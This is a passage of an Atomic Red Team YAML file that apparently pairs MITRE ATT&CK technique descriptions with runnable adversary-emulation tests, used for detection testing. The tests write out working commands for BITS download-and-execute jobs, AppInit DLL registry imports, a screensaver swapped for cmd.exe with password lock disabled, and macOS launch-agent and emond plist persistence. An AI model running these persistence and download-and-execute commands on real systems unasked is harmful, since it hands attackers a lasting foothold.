      description: |
        This test simulates an adversary leveraging bitsadmin.exe to download
        and execute a payload
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        local_file:
          description: Local file path to save downloaded file
          type: path
          default: "%temp%\\bitsadmin1_flag.ps1"
      executor:
        command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file}
          #{local_file}

          '
        cleanup_command: 'del #{local_file} >nul 2>&1

          '
        name: command_prompt
    - name: Bitsadmin Download (PowerShell)
      auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to download
        and execute a payload leveraging PowerShell

        Upon execution you will find a github markdown file downloaded to the Temp directory
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        local_file:
          description: Local file path to save downloaded file
          type: path
          default: "$env:TEMP\\bitsadmin2_flag.ps1"
      executor:
        command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination
          #{local_file}

          '
        cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore

          '
        name: powershell
    - name: Persist, Download, & Execute
      auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.
        Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.
        This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS"
        This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.
      supported_platforms:
      - windows
      input_arguments:
        command_path:
          description: Path of command to execute
          type: path
          default: C:\Windows\system32\notepad.exe
        bits_job_name:
          description: Name of BITS job
          type: string
          default: AtomicBITS
        local_file:
          description: Local file path to save downloaded file
          type: path
          default: "%temp%\\bitsadmin3_flag.ps1"
        remote_file:
          description: Remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
      executor:
        command: |
          bitsadmin.exe /create #{bits_job_name}
          bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
          bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL
          bitsadmin.exe /resume #{bits_job_name}
          ping -n 5 127.0.0.1 >nul 2>&1
          bitsadmin.exe /complete #{bits_job_name}
        cleanup_command: 'del #{local_file} >nul 2>&1

          '
        name: command_prompt
    - name: Bits download using desktopimgdownldr.exe (cmd)
      auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114
      description: "This test simulates using desktopimgdownldr.exe to download a
        malicious file\ninstead of a desktop or lockscreen background img. The process
        that actually makes \nthe TCP connection and creates the file on the disk
        is a svchost process (“-k netsvc -p -s BITS”) \nand not desktopimgdownldr.exe.
        See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n"
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        download_path:
          description: Local file path to save downloaded file
          type: path
          default: SYSTEMROOT=C:\Windows\Temp
        cleanup_path:
          description: path to delete file as part of cleanup_command
          type: path
          default: C:\Windows\Temp\Personalization\LockScreenImage
        cleanup_file:
          description: file to remove as part of cleanup_command
          type: string
          default: "*.md"
      executor:
        command: 'set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file}
          /eventName:desktopimgdownldr

          '
        cleanup_command: 'del #{cleanup_path}\#{cleanup_file} >nul 2>&1

          '
        name: command_prompt
  T1546.010:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Event Triggered Execution: AppInit DLLs'
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by AppInit DLLs loaded into processes.
        Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code>
        value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows
        NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process
        that loads user32.dll. In practice this is nearly every program, since user32.dll
        is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar
        to Process Injection, these values can be abused to obtain elevated privileges
        by causing a malicious DLL to be loaded and run in the context of separate
        processes on the computer. (Citation: AppInit Registry) Malicious AppInit
        DLLs may also provide persistence by continuously being triggered by API activity.
        \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions
        when secure boot is enabled. (Citation: AppInit Secure Boot)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and
        look for DLLs that are not recognized or not normally loaded into a process.
        Monitor the AppInit_DLLs Registry values for modifications that do not correlate
        with known software, patch cycles, etc. Monitor and analyze application programming
        interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code>
        and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July
        2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system
        changes that could be attempts at persistence, including listing current AppInit
        DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior
        that may be due to a process loading a malicious DLL. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as making network connections for Command and
        Control, learning details about the environment through Discovery, and conducting
        Lateral Movement."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: OS API Execution'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      x_mitre_system_requirements:
      - Secure boot disabled on systems running Windows 8 and later
      type: attack-pattern
      id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd
      created: '2020-01-24T14:52:25.589Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/010
        external_id: T1546.010
      - source_name: Elastic Process Injection July 2017
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      - source_name: AppInit Registry
        description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
          value. Retrieved July 15, 2015.
        url: https://support.microsoft.com/en-us/kb/197571
      - source_name: AppInit Secure Boot
        description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
          15, 2015.
        url: https://msdn.microsoft.com/en-us/library/dn280412
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.010
    atomic_tests:
    - name: Install AppInit Shim
      auto_generated_guid: a58d9386-3080-4242-ab5f-454c16503d18
      description: "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs
        to be loaded into each user mode process on the system. Upon succesfully execution,
        \nyou will see the message \"The operation completed successfully.\" Each
        time the DLL is loaded, you will see a message box with a message of \"Install
        AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your
        computer starts up various applications and may in fact drive you crazy. A
        reliable way to make the message box appear and verify the \nAppInit Dlls
        are loading is to start the notepad application. Be sure to run the cleanup
        commands afterwards so you don't keep getting message boxes showing up.\n\nNote:
        If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n"
      supported_platforms:
      - windows
      input_arguments:
        registry_file:
          description: Windows Registry File
          type: path
          default: PathToAtomicsFolder\T1546.010\src\T1546.010.reg
        registry_cleanup_file:
          description: Windows Registry File
          type: path
          default: PathToAtomicsFolder\T1546.010\src\T1546.010-cleanup.reg
      dependency_executor_name: powershell
      dependencies:
      - description: 'Reg files must exist on disk at specified locations (#{registry_file}
          and #{registry_cleanup_file})

          '
        prereq_command: 'if ((Test-Path "#{registry_file}") -and (Test-Path "#{registry_cleanup_file}"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path "#{registry_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg" -OutFile "#{registry_file}"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg" -OutFile "#{registry_cleanup_file}"
      - description: 'DLL''s must exist in the C:\Tools directory (T1546.010.dll and
          T1546.010x86.dll)

          '
        prereq_command: 'if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll" -OutFile C:\Tools\T1546.010x86.dll
      executor:
        command: 'reg.exe import "#{registry_file}"

          '
        cleanup_command: 'reg.exe import "#{registry_cleanup_file}" >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
  T1546.002:
    technique:
      modified: '2023-07-28T18:17:34.185Z'
      name: 'Event Triggered Execution: Screensaver'
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.

        The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

        * <code>SCRNSAVE.exe</code> - set to malicious PE path
        * <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
        * <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
        * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

        Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Bartosz Jerzman
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.

        Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf
      created: '2020-01-24T13:51:01.210Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/002
        external_id: T1546.002
      - source_name: ESET Gazer Aug 2017
        description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
          backdoor. Retrieved September 14, 2017.'
        url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
      - source_name: Wikipedia Screensaver
        description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
          5, 2017.
        url: https://en.wikipedia.org/wiki/Screensaver
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.002
    atomic_tests:
    - name: Set Arbitrary Binary as Screensaver
      auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64
      description: 'This test copies a binary into the Windows System32 folder and
        sets it as the screensaver so it will execute for persistence. Requires a
        reboot and logon.

        '
      supported_platforms:
      - windows
      input_arguments:
        input_binary:
          description: Executable binary to use in place of screensaver for persistence
          type: path
          default: C:\Windows\System32\cmd.exe
        reboot:
          description: Set to non-zero value if you want the test to reboot the system
            so that changes take effect
          type: integer
          default: 0
      executor:
        command: |
          reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
          copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
          if #{reboot} NEQ 0 shutdown /r /t 0
        cleanup_command: |
          reg import %userprofile%\backup.reg
          del %userprofile%\backup.reg
          del %SystemRoot%\System32\evilscreensaver.scr
        name: command_prompt
        elevation_required: true
  T1556.009:
    technique:
      modified: '2024-04-18T20:53:46.175Z'
      name: Conditional Access Policies
      description: "Adversaries may disable or modify conditional access policies
        to enable persistent access to compromised accounts. Conditional access policies
        are additional verifications used by identity providers and identity and access
        management systems to determine whether a user should be granted access to
        a resource.\n\nFor example, in Azure AD, Okta, and JumpCloud, users can be
        denied access to applications based on their IP address, device enrollment
        status, and use of multi-factor authentication.(Citation: Microsoft Conditional
        Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional
        Access Policies) In some cases, identity providers may also support the use
        of risk-based metrics to deny sign-ins based on a variety of indicators. In
        AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary
        constraints such as the source IP, the date the request was made, and the
        nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation:
        GCP IAM Conditions) These measures help to prevent compromised credentials
        from resulting in unauthorized access to data or resources, as well as limit
        user permissions to only those required. \n\nBy modifying conditional access
        policies, such as adding additional trusted IP ranges, removing [Multi-Factor
        Authentication](https://attack.mitre.org/techniques/T1556/006) requirements,
        or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535),
        adversaries may be able to ensure persistent access to accounts and circumvent
        defensive measures."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Gavin Knapp
      - Joshua Penny
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - SaaS
      - IaaS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Cloud Service: Cloud Service Modification'
      type: attack-pattern
      id: attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae
      created: '2024-01-02T13:43:37.389Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/009
        external_id: T1556.009
      - source_name: AWS IAM Conditions
        description: 'AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved
          January 2, 2024.'
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html
      - source_name: GCP IAM Conditions
        description: Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January
          2, 2024.
        url: https://cloud.google.com/iam/docs/conditions-overview
      - source_name: JumpCloud Conditional Access Policies
        description: 'JumpCloud. (n.d.). Get Started: Conditional Access Policies.
          Retrieved January 2, 2024.'
        url: https://jumpcloud.com/support/get-started-conditional-access-policies
      - source_name: Microsoft Conditional Access
        description: Microsoft. (2023, November 15). What is Conditional Access?.
          Retrieved January 2, 2024.
        url: https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview
      - source_name: Okta Conditional Access Policies
        description: Okta. (2023, November 30). Conditional Access Based on Device
          Security Posture. Retrieved January 2, 2024.
        url: https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1543.001:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Antonio Piazza, @antman1p
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584
      created: '2020-01-17T16:10:58.592Z'
      x_mitre_version: '1.4'
      external_references:
      - source_name: mitre-attack
        external_id: T1543.001
        url: https://attack.mitre.org/techniques/T1543/001
      - source_name: AppleDocs Launch Agent Daemons
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
      - source_name: Sofacy Komplex Trojan
        url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
      - source_name: OceanLotus for OS X
        url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
      - source_name: OSX Keydnap malware
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
      - source_name: Methods of Mac Malware Persistence
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
      - source_name: OSX Malware Detection
        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
      - source_name: Antiquated Mac Malware
        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
      - source_name: OSX.Dok Malware
        url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may create or modify launch agents to repeatedly execute
        malicious payloads as part of persistence. When a user logs in, a per-user
        launchd process is started which loads the parameters for each launch-on-demand
        user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>,
        <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation:
        AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation:
        Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments
        </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name,
        executable location, and execution time.(Citation: OSX.Dok Malware) Launch
        Agents are often installed to perform updates to programs, launch user specified
        programs at login, or to conduct other developer tasks.\n\n Launch Agents
        can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001)
        command.\n \nAdversaries may install a new Launch Agent that executes at login
        by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code>
        or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy
        Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent
        name may be disguised by using a name from the related operating system or
        benign software. Launch Agents are created with user level privileges and
        execute with user level permissions.(Citation: OSX Malware Detection)(Citation:
        OceanLotus for OS X) "
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Create or Modify System Process: Launch Agent'
      x_mitre_detection: "Monitor Launch Agent creation through additional plist files
        and utilities such as Objective-See’s  KnockKnock application. Launch Agents
        also require files on disk for persistence which can also be monitored via
        other file monitoring applications.\n\nEnsure Launch Agent's <code> ProgramArguments
        </code> key pointing to executables located in the <code>/tmp</code> or <code>/shared</code>
        folders are in alignment with enterprise policy. Ensure all Launch Agents
        with the <code>RunAtLoad</code> key set to <code>true</code> are in alignment
        with policy. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Service: Service Modification'
      - 'File: File Creation'
      - 'Service: Service Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1543.001
    atomic_tests:
    - name: Launch Agent
      auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900
      description: 'Create a plist and execute it

        '
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: string
          default: com.atomicredteam.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The shared library doesn''t exist. Check the path";
          exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;
          sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}
          sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}
        cleanup_command: |
          sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename}
          sudo rm ~/Library/LaunchAgents/#{plist_filename}
    - name: Event Monitor Daemon Persistence
      auto_generated_guid: 11979f23-9b9d-482a-9935-6fc9cd022c3e
      description: "This test adds persistence via a plist to execute via the macOS
        Event Monitor Daemon. \n"
      supported_platforms:
      - macos
      input_arguments:
        script_location:
          description: evil plist location
          type: path
          default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist"
        script_destination:
          description: Path where to move the evil plist
          type: path
          default: "/etc/emond.d/rules/atomicredteam_T1543_001.plist"
        empty_file:
          description: Random name of the empty file used to trigger emond service
          type: string
          default: randomflag
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{script_location} #{script_destination}
          sudo touch /private/var/db/emondClients/#{empty_file}
        cleanup_command: |-
          sudo rm #{script_destination}
          sudo rm /private/var/db/emondClients/#{empty_file}
    - name: Launch Agent - Root Directory
      auto_generated_guid: 66774fa8-c562-4bae-a58d-5264a0dd9dd7
      description: 'Create a plist and execute it

        '
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: string
          default: com.atomicredteam.T1543.001.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist"
      dependency_executor_name: bash
      dependencies:
      - description: "/Library/LaunchAgents must exist\n"
        prereq_command: 'if [ ! -d /Library/LaunchAgents ]; then mkdir /Library/LaunchAgents;
          exit 0; fi;

          '
        get_prereq_command: 'echo "Failed to create /Library/LaunchAgents"; exit 1;

          '
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename}
          launchctl load -w /Library/LaunchAgents/#{plist_filename}
        cleanup_command: |
          launchctl unload /Library/LaunchAgents/#{plist_filename}
          sudo rm /Library/LaunchAgents/#{plist_filename}
          sudo rm /tmp/T1543_001_atomicredteam.txt
  T1505:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Server Software Component
      description: 'Adversaries may abuse legitimate extensible development features
        of servers to establish persistent access to systems. Enterprise server applications
        may include features that allow developers to write and install software or
        scripts to extend the functionality of the main application. Adversaries may
        install malicious components to extend and abuse server applications.(Citation:
        volexity_0day_sophos_FW)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Consider monitoring application logs for abnormal behavior
        that may indicate suspicious installation of application software components.
        Consider monitoring file locations associated with the installation of new
        application software components such as paths from which applications typically
        load such extensible components.\n\nProcess monitoring may be used to detect
        servers components that perform suspicious actions such as running cmd.exe
        or accessing files. Log authentication attempts to the server and any unusual
        traffic patterns to or from the server and internal network. (Citation: US-CERT
        Alert TA15-314A Web Shells) "
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb
      created: '2019-06-28T17:52:07.296Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1505
        external_id: T1505
      - source_name: volexity_0day_sophos_FW
        description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June
          15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious
          Breach. Retrieved July 1, 2022.'
        url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
      - source_name: US-CERT Alert TA15-314A Web Shells
        description: US-CERT. (2015, November 13). Compromised Web Servers and Web
          Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.
        url: https://www.us-cert.gov/ncas/alerts/TA15-314A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1556.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
      type: attack-pattern
      created: '2020-02-11T19:05:02.399Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.001
        url: https://attack.mitre.org/techniques/T1556/001
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      modified: '2022-04-25T14:00:00.188Z'
